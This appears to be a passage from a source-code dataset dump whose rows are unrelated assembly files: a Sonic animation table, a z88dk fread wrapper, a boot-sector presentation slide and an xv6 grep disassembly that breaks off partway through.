] | 1 | 2020-06-17T14:16:35.000Z | 2020-06-17T14:16:35.000Z | ; ---------------------------------------------------------------------------
; Animation script - Sonic
; ---------------------------------------------------------------------------
dc.w SonAni_Walk-SonicAniData
dc.w SonAni_Run-SonicAniData
dc.w SonAni_Roll-SonicAniData
dc.w SonAni_Roll2-SonicAniData
dc.w SonAni_Push-SonicAniData
dc.w SonAni_Wait-SonicAniData
dc.w SonAni_Balance-SonicAniData
dc.w SonAni_LookUp-SonicAniData
dc.w SonAni_Duck-SonicAniData
dc.w SonAni_Warp1-SonicAniData
dc.w SonAni_Warp2-SonicAniData
dc.w SonAni_Warp3-SonicAniData
dc.w SonAni_Warp4-SonicAniData
dc.w SonAni_Stop-SonicAniData
dc.w SonAni_Float1-SonicAniData
dc.w SonAni_Float2-SonicAniData
dc.w SonAni_Spring-SonicAniData
dc.w SonAni_LZHang-SonicAniData
dc.w SonAni_Leap1-SonicAniData
dc.w SonAni_Leap2-SonicAniData
dc.w SonAni_Surf-SonicAniData
dc.w SonAni_Bubble-SonicAniData
dc.w SonAni_Death1-SonicAniData
dc.w SonAni_Drown-SonicAniData
dc.w SonAni_Death2-SonicAniData
dc.w SonAni_Shrink-SonicAniData
dc.w SonAni_Hurt-SonicAniData
dc.w SonAni_LZSlide-SonicAniData
dc.w SonAni_Blank-SonicAniData
dc.w SonAni_Float3-SonicAniData
dc.w SonAni_Float4-SonicAniData
SonAni_Walk: dc.b $FF, 8, 9, $A, $B, 6, 7, $FF
SonAni_Run: dc.b $FF, $1E, $1F, $20, $21, $FF, $FF, $FF
SonAni_Roll: dc.b $FE, $2E, $2F, $30, $31, $32, $FF, $FF
SonAni_Roll2: dc.b $FE, $2E, $2F, $32, $30, $31, $32, $FF
SonAni_Push: dc.b $FD, $45, $46, $47, $48, $FF, $FF, $FF
SonAni_Wait: dc.b $17, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 2, 2, 2, 3, 4, $FE, 2, 0
SonAni_Balance: dc.b $1F, $3A, $3B, $FF
SonAni_LookUp: dc.b $3F, 5, $FF, 0
SonAni_Duck: dc.b $3F, $39, $FF, 0
SonAni_Warp1: dc.b $3F, $33, $FF, 0
SonAni_Warp2: dc.b $3F, $34, $FF, 0
SonAni_Warp3: dc.b $3F, $35, $FF, 0
SonAni_Warp4: dc.b $3F, $36, $FF, 0
SonAni_Stop: dc.b 7, $37, $38, $FF
SonAni_Float1: dc.b 7, $3C, $3F, $FF
SonAni_Float2: dc.b 7, $3C, $3D, $53, $3E, $54, $FF, 0
SonAni_Spring: dc.b $2F, $40, $FD, 0
SonAni_LZHang: dc.b 4, $41, $42, $FF
SonAni_Leap1: dc.b $F, $43, $43, $43, $FE, 1
SonAni_Leap2: dc.b $F, $43, $44, $FE, 1, 0
SonAni_Surf: dc.b $3F, $49, $FF, 0
SonAni_Bubble: dc.b $B, $56, $56, $A, $B, $FD, 0, 0
SonAni_Death1: dc.b $20, $4B, $FF, 0
SonAni_Drown: dc.b $2F, $4C, $FF, 0
SonAni_Death2: dc.b 3, $4D, $FF, 0
SonAni_Shrink: dc.b 3, $4E, $4F, $50, $51, $52, 0, $FE, 1, 0
SonAni_Hurt: dc.b 3, $55, $FF, 0
SonAni_LZSlide: dc.b 7, $55, $57, $FF
SonAni_Blank: dc.b $77, 0, $FD, 0
SonAni_Float3: dc.b 3, $3C, $3D, $53, $3E, $54, $FF, 0
SonAni_Float4: dc.b 3, $3C, $FD, 0
even | 38.984848 | 86 | 0.636222 |
a32cee2a5791e5040ae42194ec53f801f0035560 | 713 | asm | Assembly | libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/fread_callee.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/fread_callee.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/fread_callee.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | 1 | 2019-12-03T23:57:48.000Z | 2019-12-03T23:57:48.000Z |
; size_t fread_callee(void *ptr, size_t size, size_t nmemb, FILE *stream)
INCLUDE "clib_cfg.asm"
SECTION code_clib
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _fread_callee, l0_fread_callee
EXTERN asm_fread
_fread_callee:
pop af
pop de
pop bc
pop hl
exx
pop bc
push af
l0_fread_callee:
push bc
exx
ex (sp),ix
call asm_fread
pop ix
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _fread_callee
EXTERN _fread_unlocked_callee
defc _fread_callee = _fread_unlocked_callee
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
| 13.711538 | 73 | 0.525947 |
2b952da38f0462e98883c95aa8c3cf0a7450684b | 1,806 | asm | Assembly | SLIDE_Intro.asm | XlogicX/CactusCon2017 | d4cc716169dc8c6c2956c57079eb64342d5432bf | [
"BSD-2-Clause"
] | 2 | 2018-12-23T17:19:34.000Z | 2019-08-23T16:15:57.000Z | SLIDE_Intro.asm | XlogicX/CactusCon2017 | d4cc716169dc8c6c2956c57079eb64342d5432bf | [
"BSD-2-Clause"
] | null | null | null | SLIDE_Intro.asm | XlogicX/CactusCon2017 | d4cc716169dc8c6c2956c57079eb64342d5432bf | [
"BSD-2-Clause"
] | null | null | null | %include 'textmode.h'
call draw_border
mov di, 160 * 2 + 8 ;where to place cursor
mov si, line01 ;fetch the text
mov ah, 0x0A ;color
call slide_line
mov di, 160 * 11 + 8 ;where to place cursor
mov si, line02 ;fetch the text
call slide_line
mov di, 160 * 16 + 8 ;where to place cursor
mov si, line03 ;fetch the text
call slide_line
call wait_loop
mov di, 160 * 3 + 16 ;where to place cursor
mov si, line04 ;fetch the text
call slide_line
call wait_loop
mov di, 160 * 4 + 16 ;where to place cursor
mov si, line05 ;fetch the text
call slide_line
call wait_loop
mov di, 160 * 5 + 16 ;where to place cursor
mov si, line06 ;fetch the text
call slide_line
call wait_loop
mov di, 160 * 6 + 16 ;where to place cursor
mov si, line07 ;fetch the text
call slide_line
call wait_loop
mov di, 160 * 7 + 16 ;where to place cursor
mov si, line08 ;fetch the text
call slide_line
call wait_loop
mov di, 160 * 8 + 16 ;where to place cursor
mov si, line09 ;fetch the text
call slide_line
call wait_loop
mov di, 160 * 9 + 16 ;where to place cursor
mov si, line10 ;fetch the text
call slide_line
jmp endloop
endloop:
jmp endloop
%include 'slide_frame.h'
%include 'pause.h'
line01 db 0x21, 0x07, ' Educational (Programming) topics:'
line04 db 0x1c, 0x07, ' BIOS signature and padding'
line05 db 0x0c, 0x07, ' Assembling'
line06 db 0x2a, 0x07, ' Text/Graphics Mode, Video, & Stack setup'
line07 db 0x15, 0x07, ' Important Registers'
line08 db 0x11, 0x07, ' Time Delay Loop'
line09 db 0x18, 0x07, ' Keyboard Input Methods'
line10 db 0x14, 0x07, ' Randomness & Colors'
line02 db 0x0c, 0x07, ' Debugging:'
line03 db 0x12, 0x07, ' Showcases/Demos:'
titlemessage db 0x0c, 'Introduction'
;BIOS sig and padding
times 510-($-$$) db 0
dw 0xAA55 | 23.763158 | 66 | 0.698782 |
d1653882354b098a6c0b8632aee3bf5fa9ce519f | 54,648 | asm | Assembly | grep.asm | prakhar987/xv6-system-calls | 4a28c04e3013723a77249dd4ba97a855b40b12cf | [
"MIT-0"
] | 5 | 2018-04-02T23:25:23.000Z | 2020-12-06T21:27:33.000Z | grep.asm | prakhar987/xv6-system-calls | 4a28c04e3013723a77249dd4ba97a855b40b12cf | [
"MIT-0"
] | null | null | null | grep.asm | prakhar987/xv6-system-calls | 4a28c04e3013723a77249dd4ba97a855b40b12cf | [
"MIT-0"
] | 7 | 2018-04-02T05:13:36.000Z | 2022-03-23T23:20:36.000Z |
_grep: file format elf32-i386
Disassembly of section .text:
00000000 <grep>:
char buf[1024];
int match(char*, char*);
void
grep(char *pattern, int fd)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 18 sub $0x18,%esp
int n, m;
char *p, *q;
m = 0;
6: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
d: e9 b8 00 00 00 jmp ca <grep+0xca>
m += n;
12: 8b 45 ec mov -0x14(%ebp),%eax
15: 01 45 f4 add %eax,-0xc(%ebp)
buf[m] = '\0';
18: 8b 45 f4 mov -0xc(%ebp),%eax
1b: 05 20 0e 00 00 add $0xe20,%eax
20: c6 00 00 movb $0x0,(%eax)
p = buf;
23: c7 45 f0 20 0e 00 00 movl $0xe20,-0x10(%ebp)
while((q = strchr(p, '\n')) != 0){
2a: eb 4a jmp 76 <grep+0x76>
*q = 0;
2c: 8b 45 e8 mov -0x18(%ebp),%eax
2f: c6 00 00 movb $0x0,(%eax)
if(match(pattern, p)){
32: 83 ec 08 sub $0x8,%esp
35: ff 75 f0 pushl -0x10(%ebp)
38: ff 75 08 pushl 0x8(%ebp)
3b: e8 9c 01 00 00 call 1dc <match>
40: 83 c4 10 add $0x10,%esp
43: 85 c0 test %eax,%eax
45: 74 26 je 6d <grep+0x6d>
*q = '\n';
47: 8b 45 e8 mov -0x18(%ebp),%eax
4a: c6 00 0a movb $0xa,(%eax)
write(1, p, q+1 - p);
4d: 8b 45 e8 mov -0x18(%ebp),%eax
50: 83 c0 01 add $0x1,%eax
53: 89 c2 mov %eax,%edx
55: 8b 45 f0 mov -0x10(%ebp),%eax
58: 29 c2 sub %eax,%edx
5a: 89 d0 mov %edx,%eax
5c: 83 ec 04 sub $0x4,%esp
5f: 50 push %eax
60: ff 75 f0 pushl -0x10(%ebp)
63: 6a 01 push $0x1
65: e8 45 05 00 00 call 5af <write>
6a: 83 c4 10 add $0x10,%esp
}
p = q+1;
6d: 8b 45 e8 mov -0x18(%ebp),%eax
70: 83 c0 01 add $0x1,%eax
73: 89 45 f0 mov %eax,-0x10(%ebp)
m = 0;
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
m += n;
buf[m] = '\0';
p = buf;
while((q = strchr(p, '\n')) != 0){
76: 83 ec 08 sub $0x8,%esp
79: 6a 0a push $0xa
7b: ff 75 f0 pushl -0x10(%ebp)
7e: e8 8b 03 00 00 call 40e <strchr>
83: 83 c4 10 add $0x10,%esp
86: 89 45 e8 mov %eax,-0x18(%ebp)
89: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
8d: 75 9d jne 2c <grep+0x2c>
*q = '\n';
write(1, p, q+1 - p);
}
p = q+1;
}
if(p == buf)
8f: 81 7d f0 20 0e 00 00 cmpl $0xe20,-0x10(%ebp)
96: 75 07 jne 9f <grep+0x9f>
m = 0;
98: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if(m > 0){
9f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
a3: 7e 25 jle ca <grep+0xca>
m -= p - buf;
a5: ba 20 0e 00 00 mov $0xe20,%edx
aa: 8b 45 f0 mov -0x10(%ebp),%eax
ad: 29 c2 sub %eax,%edx
af: 89 d0 mov %edx,%eax
b1: 01 45 f4 add %eax,-0xc(%ebp)
memmove(buf, p, m);
b4: 83 ec 04 sub $0x4,%esp
b7: ff 75 f4 pushl -0xc(%ebp)
ba: ff 75 f0 pushl -0x10(%ebp)
bd: 68 20 0e 00 00 push $0xe20
c2: e8 83 04 00 00 call 54a <memmove>
c7: 83 c4 10 add $0x10,%esp
{
int n, m;
char *p, *q;
m = 0;
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
ca: 8b 45 f4 mov -0xc(%ebp),%eax
cd: ba ff 03 00 00 mov $0x3ff,%edx
d2: 29 c2 sub %eax,%edx
d4: 89 d0 mov %edx,%eax
d6: 89 c2 mov %eax,%edx
d8: 8b 45 f4 mov -0xc(%ebp),%eax
db: 05 20 0e 00 00 add $0xe20,%eax
e0: 83 ec 04 sub $0x4,%esp
e3: 52 push %edx
e4: 50 push %eax
e5: ff 75 0c pushl 0xc(%ebp)
e8: e8 ba 04 00 00 call 5a7 <read>
ed: 83 c4 10 add $0x10,%esp
f0: 89 45 ec mov %eax,-0x14(%ebp)
f3: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
f7: 0f 8f 15 ff ff ff jg 12 <grep+0x12>
if(m > 0){
m -= p - buf;
memmove(buf, p, m);
}
}
}
fd: 90 nop
fe: c9 leave
ff: c3 ret
00000100 <main>:
int
main(int argc, char *argv[])
{
100: 8d 4c 24 04 lea 0x4(%esp),%ecx
104: 83 e4 f0 and $0xfffffff0,%esp
107: ff 71 fc pushl -0x4(%ecx)
10a: 55 push %ebp
10b: 89 e5 mov %esp,%ebp
10d: 53 push %ebx
10e: 51 push %ecx
10f: 83 ec 10 sub $0x10,%esp
112: 89 cb mov %ecx,%ebx
int fd, i;
char *pattern;
if(argc <= 1){
114: 83 3b 01 cmpl $0x1,(%ebx)
117: 7f 17 jg 130 <main+0x30>
printf(2, "usage: grep pattern [file ...]\n");
119: 83 ec 08 sub $0x8,%esp
11c: 68 c4 0a 00 00 push $0xac4
121: 6a 02 push $0x2
123: e8 e6 05 00 00 call 70e <printf>
128: 83 c4 10 add $0x10,%esp
exit();
12b: e8 5f 04 00 00 call 58f <exit>
}
pattern = argv[1];
130: 8b 43 04 mov 0x4(%ebx),%eax
133: 8b 40 04 mov 0x4(%eax),%eax
136: 89 45 f0 mov %eax,-0x10(%ebp)
if(argc <= 2){
139: 83 3b 02 cmpl $0x2,(%ebx)
13c: 7f 15 jg 153 <main+0x53>
grep(pattern, 0);
13e: 83 ec 08 sub $0x8,%esp
141: 6a 00 push $0x0
143: ff 75 f0 pushl -0x10(%ebp)
146: e8 b5 fe ff ff call 0 <grep>
14b: 83 c4 10 add $0x10,%esp
exit();
14e: e8 3c 04 00 00 call 58f <exit>
}
for(i = 2; i < argc; i++){
153: c7 45 f4 02 00 00 00 movl $0x2,-0xc(%ebp)
15a: eb 74 jmp 1d0 <main+0xd0>
if((fd = open(argv[i], 0)) < 0){
15c: 8b 45 f4 mov -0xc(%ebp),%eax
15f: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
166: 8b 43 04 mov 0x4(%ebx),%eax
169: 01 d0 add %edx,%eax
16b: 8b 00 mov (%eax),%eax
16d: 83 ec 08 sub $0x8,%esp
170: 6a 00 push $0x0
172: 50 push %eax
173: e8 57 04 00 00 call 5cf <open>
178: 83 c4 10 add $0x10,%esp
17b: 89 45 ec mov %eax,-0x14(%ebp)
17e: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
182: 79 29 jns 1ad <main+0xad>
printf(1, "grep: cannot open %s\n", argv[i]);
184: 8b 45 f4 mov -0xc(%ebp),%eax
187: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
18e: 8b 43 04 mov 0x4(%ebx),%eax
191: 01 d0 add %edx,%eax
193: 8b 00 mov (%eax),%eax
195: 83 ec 04 sub $0x4,%esp
198: 50 push %eax
199: 68 e4 0a 00 00 push $0xae4
19e: 6a 01 push $0x1
1a0: e8 69 05 00 00 call 70e <printf>
1a5: 83 c4 10 add $0x10,%esp
exit();
1a8: e8 e2 03 00 00 call 58f <exit>
}
grep(pattern, fd);
1ad: 83 ec 08 sub $0x8,%esp
1b0: ff 75 ec pushl -0x14(%ebp)
1b3: ff 75 f0 pushl -0x10(%ebp)
1b6: e8 45 fe ff ff call 0 <grep>
1bb: 83 c4 10 add $0x10,%esp
close(fd);
1be: 83 ec 0c sub $0xc,%esp
1c1: ff 75 ec pushl -0x14(%ebp)
1c4: e8 ee 03 00 00 call 5b7 <close>
1c9: 83 c4 10 add $0x10,%esp
if(argc <= 2){
grep(pattern, 0);
exit();
}
for(i = 2; i < argc; i++){
1cc: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1d0: 8b 45 f4 mov -0xc(%ebp),%eax
1d3: 3b 03 cmp (%ebx),%eax
1d5: 7c 85 jl 15c <main+0x5c>
exit();
}
grep(pattern, fd);
close(fd);
}
exit();
1d7: e8 b3 03 00 00 call 58f <exit>
000001dc <match>:
int matchhere(char*, char*);
int matchstar(int, char*, char*);
int
match(char *re, char *text)
{
1dc: 55 push %ebp
1dd: 89 e5 mov %esp,%ebp
1df: 83 ec 08 sub $0x8,%esp
if(re[0] == '^')
1e2: 8b 45 08 mov 0x8(%ebp),%eax
1e5: 0f b6 00 movzbl (%eax),%eax
1e8: 3c 5e cmp $0x5e,%al
1ea: 75 17 jne 203 <match+0x27>
return matchhere(re+1, text);
1ec: 8b 45 08 mov 0x8(%ebp),%eax
1ef: 83 c0 01 add $0x1,%eax
1f2: 83 ec 08 sub $0x8,%esp
1f5: ff 75 0c pushl 0xc(%ebp)
1f8: 50 push %eax
1f9: e8 38 00 00 00 call 236 <matchhere>
1fe: 83 c4 10 add $0x10,%esp
201: eb 31 jmp 234 <match+0x58>
do{ // must look at empty string
if(matchhere(re, text))
203: 83 ec 08 sub $0x8,%esp
206: ff 75 0c pushl 0xc(%ebp)
209: ff 75 08 pushl 0x8(%ebp)
20c: e8 25 00 00 00 call 236 <matchhere>
211: 83 c4 10 add $0x10,%esp
214: 85 c0 test %eax,%eax
216: 74 07 je 21f <match+0x43>
return 1;
218: b8 01 00 00 00 mov $0x1,%eax
21d: eb 15 jmp 234 <match+0x58>
}while(*text++ != '\0');
21f: 8b 45 0c mov 0xc(%ebp),%eax
222: 8d 50 01 lea 0x1(%eax),%edx
225: 89 55 0c mov %edx,0xc(%ebp)
228: 0f b6 00 movzbl (%eax),%eax
22b: 84 c0 test %al,%al
22d: 75 d4 jne 203 <match+0x27>
return 0;
22f: b8 00 00 00 00 mov $0x0,%eax
}
234: c9 leave
235: c3 ret
00000236 <matchhere>:
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
236: 55 push %ebp
237: 89 e5 mov %esp,%ebp
239: 83 ec 08 sub $0x8,%esp
if(re[0] == '\0')
23c: 8b 45 08 mov 0x8(%ebp),%eax
23f: 0f b6 00 movzbl (%eax),%eax
242: 84 c0 test %al,%al
244: 75 0a jne 250 <matchhere+0x1a>
return 1;
246: b8 01 00 00 00 mov $0x1,%eax
24b: e9 99 00 00 00 jmp 2e9 <matchhere+0xb3>
if(re[1] == '*')
250: 8b 45 08 mov 0x8(%ebp),%eax
253: 83 c0 01 add $0x1,%eax
256: 0f b6 00 movzbl (%eax),%eax
259: 3c 2a cmp $0x2a,%al
25b: 75 21 jne 27e <matchhere+0x48>
return matchstar(re[0], re+2, text);
25d: 8b 45 08 mov 0x8(%ebp),%eax
260: 8d 50 02 lea 0x2(%eax),%edx
263: 8b 45 08 mov 0x8(%ebp),%eax
266: 0f b6 00 movzbl (%eax),%eax
269: 0f be c0 movsbl %al,%eax
26c: 83 ec 04 sub $0x4,%esp
26f: ff 75 0c pushl 0xc(%ebp)
272: 52 push %edx
273: 50 push %eax
274: e8 72 00 00 00 call 2eb <matchstar>
279: 83 c4 10 add $0x10,%esp
27c: eb 6b jmp 2e9 <matchhere+0xb3>
if(re[0] == '$' && re[1] == '\0')
27e: 8b 45 08 mov 0x8(%ebp),%eax
281: 0f b6 00 movzbl (%eax),%eax
284: 3c 24 cmp $0x24,%al
286: 75 1d jne 2a5 <matchhere+0x6f>
288: 8b 45 08 mov 0x8(%ebp),%eax
28b: 83 c0 01 add $0x1,%eax
28e: 0f b6 00 movzbl (%eax),%eax
291: 84 c0 test %al,%al
293: 75 10 jne 2a5 <matchhere+0x6f>
return *text == '\0';
295: 8b 45 0c mov 0xc(%ebp),%eax
298: 0f b6 00 movzbl (%eax),%eax
29b: 84 c0 test %al,%al
29d: 0f 94 c0 sete %al
2a0: 0f b6 c0 movzbl %al,%eax
2a3: eb 44 jmp 2e9 <matchhere+0xb3>
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
2a5: 8b 45 0c mov 0xc(%ebp),%eax
2a8: 0f b6 00 movzbl (%eax),%eax
2ab: 84 c0 test %al,%al
2ad: 74 35 je 2e4 <matchhere+0xae>
2af: 8b 45 08 mov 0x8(%ebp),%eax
2b2: 0f b6 00 movzbl (%eax),%eax
2b5: 3c 2e cmp $0x2e,%al
2b7: 74 10 je 2c9 <matchhere+0x93>
2b9: 8b 45 08 mov 0x8(%ebp),%eax
2bc: 0f b6 10 movzbl (%eax),%edx
2bf: 8b 45 0c mov 0xc(%ebp),%eax
2c2: 0f b6 00 movzbl (%eax),%eax
2c5: 38 c2 cmp %al,%dl
2c7: 75 1b jne 2e4 <matchhere+0xae>
return matchhere(re+1, text+1);
2c9: 8b 45 0c mov 0xc(%ebp),%eax
2cc: 8d 50 01 lea 0x1(%eax),%edx
2cf: 8b 45 08 mov 0x8(%ebp),%eax
2d2: 83 c0 01 add $0x1,%eax
2d5: 83 ec 08 sub $0x8,%esp
2d8: 52 push %edx
2d9: 50 push %eax
2da: e8 57 ff ff ff call 236 <matchhere>
2df: 83 c4 10 add $0x10,%esp
2e2: eb 05 jmp 2e9 <matchhere+0xb3>
return 0;
2e4: b8 00 00 00 00 mov $0x0,%eax
}
2e9: c9 leave
2ea: c3 ret
000002eb <matchstar>:
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
2eb: 55 push %ebp
2ec: 89 e5 mov %esp,%ebp
2ee: 83 ec 08 sub $0x8,%esp
do{ // a * matches zero or more instances
if(matchhere(re, text))
2f1: 83 ec 08 sub $0x8,%esp
2f4: ff 75 10 pushl 0x10(%ebp)
2f7: ff 75 0c pushl 0xc(%ebp)
2fa: e8 37 ff ff ff call 236 <matchhere>
2ff: 83 c4 10 add $0x10,%esp
302: 85 c0 test %eax,%eax
304: 74 07 je 30d <matchstar+0x22>
return 1;
306: b8 01 00 00 00 mov $0x1,%eax
30b: eb 29 jmp 336 <matchstar+0x4b>
}while(*text!='\0' && (*text++==c || c=='.'));
30d: 8b 45 10 mov 0x10(%ebp),%eax
310: 0f b6 00 movzbl (%eax),%eax
313: 84 c0 test %al,%al
315: 74 1a je 331 <matchstar+0x46>
317: 8b 45 10 mov 0x10(%ebp),%eax
31a: 8d 50 01 lea 0x1(%eax),%edx
31d: 89 55 10 mov %edx,0x10(%ebp)
320: 0f b6 00 movzbl (%eax),%eax
323: 0f be c0 movsbl %al,%eax
326: 3b 45 08 cmp 0x8(%ebp),%eax
329: 74 c6 je 2f1 <matchstar+0x6>
32b: 83 7d 08 2e cmpl $0x2e,0x8(%ebp)
32f: 74 c0 je 2f1 <matchstar+0x6>
return 0;
331: b8 00 00 00 00 mov $0x0,%eax
}
336: c9 leave
337: c3 ret
00000338 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
338: 55 push %ebp
339: 89 e5 mov %esp,%ebp
33b: 57 push %edi
33c: 53 push %ebx
asm volatile("cld; rep stosb" :
33d: 8b 4d 08 mov 0x8(%ebp),%ecx
340: 8b 55 10 mov 0x10(%ebp),%edx
343: 8b 45 0c mov 0xc(%ebp),%eax
346: 89 cb mov %ecx,%ebx
348: 89 df mov %ebx,%edi
34a: 89 d1 mov %edx,%ecx
34c: fc cld
34d: f3 aa rep stos %al,%es:(%edi)
34f: 89 ca mov %ecx,%edx
351: 89 fb mov %edi,%ebx
353: 89 5d 08 mov %ebx,0x8(%ebp)
356: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
359: 90 nop
35a: 5b pop %ebx
35b: 5f pop %edi
35c: 5d pop %ebp
35d: c3 ret
0000035e <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
35e: 55 push %ebp
35f: 89 e5 mov %esp,%ebp
361: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
364: 8b 45 08 mov 0x8(%ebp),%eax
367: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
36a: 90 nop
36b: 8b 45 08 mov 0x8(%ebp),%eax
36e: 8d 50 01 lea 0x1(%eax),%edx
371: 89 55 08 mov %edx,0x8(%ebp)
374: 8b 55 0c mov 0xc(%ebp),%edx
377: 8d 4a 01 lea 0x1(%edx),%ecx
37a: 89 4d 0c mov %ecx,0xc(%ebp)
37d: 0f b6 12 movzbl (%edx),%edx
380: 88 10 mov %dl,(%eax)
382: 0f b6 00 movzbl (%eax),%eax
385: 84 c0 test %al,%al
387: 75 e2 jne 36b <strcpy+0xd>
;
return os;
389: 8b 45 fc mov -0x4(%ebp),%eax
}
38c: c9 leave
38d: c3 ret
0000038e <strcmp>:
int
strcmp(const char *p, const char *q)
{
38e: 55 push %ebp
38f: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
391: eb 08 jmp 39b <strcmp+0xd>
p++, q++;
393: 83 45 08 01 addl $0x1,0x8(%ebp)
397: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
39b: 8b 45 08 mov 0x8(%ebp),%eax
39e: 0f b6 00 movzbl (%eax),%eax
3a1: 84 c0 test %al,%al
3a3: 74 10 je 3b5 <strcmp+0x27>
3a5: 8b 45 08 mov 0x8(%ebp),%eax
3a8: 0f b6 10 movzbl (%eax),%edx
3ab: 8b 45 0c mov 0xc(%ebp),%eax
3ae: 0f b6 00 movzbl (%eax),%eax
3b1: 38 c2 cmp %al,%dl
3b3: 74 de je 393 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
3b5: 8b 45 08 mov 0x8(%ebp),%eax
3b8: 0f b6 00 movzbl (%eax),%eax
3bb: 0f b6 d0 movzbl %al,%edx
3be: 8b 45 0c mov 0xc(%ebp),%eax
3c1: 0f b6 00 movzbl (%eax),%eax
3c4: 0f b6 c0 movzbl %al,%eax
3c7: 29 c2 sub %eax,%edx
3c9: 89 d0 mov %edx,%eax
}
3cb: 5d pop %ebp
3cc: c3 ret
000003cd <strlen>:
uint
strlen(char *s)
{
3cd: 55 push %ebp
3ce: 89 e5 mov %esp,%ebp
3d0: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
3d3: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
3da: eb 04 jmp 3e0 <strlen+0x13>
3dc: 83 45 fc 01 addl $0x1,-0x4(%ebp)
3e0: 8b 55 fc mov -0x4(%ebp),%edx
3e3: 8b 45 08 mov 0x8(%ebp),%eax
3e6: 01 d0 add %edx,%eax
3e8: 0f b6 00 movzbl (%eax),%eax
3eb: 84 c0 test %al,%al
3ed: 75 ed jne 3dc <strlen+0xf>
;
return n;
3ef: 8b 45 fc mov -0x4(%ebp),%eax
}
3f2: c9 leave
3f3: c3 ret
000003f4 <memset>:
void*
memset(void *dst, int c, uint n)
{
3f4: 55 push %ebp
3f5: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
3f7: 8b 45 10 mov 0x10(%ebp),%eax
3fa: 50 push %eax
3fb: ff 75 0c pushl 0xc(%ebp)
3fe: ff 75 08 pushl 0x8(%ebp)
401: e8 32 ff ff ff call 338 <stosb>
406: 83 c4 0c add $0xc,%esp
return dst;
409: 8b 45 08 mov 0x8(%ebp),%eax
}
40c: c9 leave
40d: c3 ret
0000040e <strchr>:
char*
strchr(const char *s, char c)
{
40e: 55 push %ebp
40f: 89 e5 mov %esp,%ebp
411: 83 ec 04 sub $0x4,%esp
414: 8b 45 0c mov 0xc(%ebp),%eax
417: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
41a: eb 14 jmp 430 <strchr+0x22>
if(*s == c)
41c: 8b 45 08 mov 0x8(%ebp),%eax
41f: 0f b6 00 movzbl (%eax),%eax
422: 3a 45 fc cmp -0x4(%ebp),%al
425: 75 05 jne 42c <strchr+0x1e>
return (char*)s;
427: 8b 45 08 mov 0x8(%ebp),%eax
42a: eb 13 jmp 43f <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
42c: 83 45 08 01 addl $0x1,0x8(%ebp)
430: 8b 45 08 mov 0x8(%ebp),%eax
433: 0f b6 00 movzbl (%eax),%eax
436: 84 c0 test %al,%al
438: 75 e2 jne 41c <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
43a: b8 00 00 00 00 mov $0x0,%eax
}
43f: c9 leave
440: c3 ret
00000441 <gets>:
char*
gets(char *buf, int max)
{
441: 55 push %ebp
442: 89 e5 mov %esp,%ebp
444: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
447: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
44e: eb 42 jmp 492 <gets+0x51>
cc = read(0, &c, 1);
450: 83 ec 04 sub $0x4,%esp
453: 6a 01 push $0x1
455: 8d 45 ef lea -0x11(%ebp),%eax
458: 50 push %eax
459: 6a 00 push $0x0
45b: e8 47 01 00 00 call 5a7 <read>
460: 83 c4 10 add $0x10,%esp
463: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
466: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
46a: 7e 33 jle 49f <gets+0x5e>
break;
buf[i++] = c;
46c: 8b 45 f4 mov -0xc(%ebp),%eax
46f: 8d 50 01 lea 0x1(%eax),%edx
472: 89 55 f4 mov %edx,-0xc(%ebp)
475: 89 c2 mov %eax,%edx
